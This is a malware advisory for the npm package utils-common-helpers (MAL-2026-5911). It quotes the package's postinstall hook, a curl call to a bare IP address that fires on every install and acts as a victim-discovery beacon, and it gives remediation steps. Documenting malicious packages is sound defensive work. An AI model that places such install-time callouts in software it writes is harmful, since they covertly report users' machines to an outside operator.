MAL-2026-5911 Malicious code in utils-common-helpers (npm)

Malicious package Published
Package
utils-common-helpers
Registry
npm

What is MAL-2026-5911?

MAL-2026-5911 is a malicious package in utils-common-helpers, published on 16 Jun 2026.

Official description

package.json declares a postinstall lifecycle hook that runs curl -s http://8.140.205.78 -o /dev/null on every install. The package's only functional code is a trivial hello() helper in index.js that returns the string 'hello', which is inconsistent with the declared purpose of 'Common utility helpers for frontend projects'. The lifecycle network call has no relation to any advertised functionality and serves only to disclose the installer's public IP address and install timing to the operator of the bare IP 8.140.205.78. This is a classic install-counter / victim-discovery beacon pattern: a throwaway lure package whose real purpose is the install-time callout. Plain HTTP to a bare IP (no TLS, no domain, no documented purpose) is inconsistent with any legitimate telemetry shape.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

What should I do about MAL-2026-5911?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

Also known as GHSA-fq4g-5xjj-r935.

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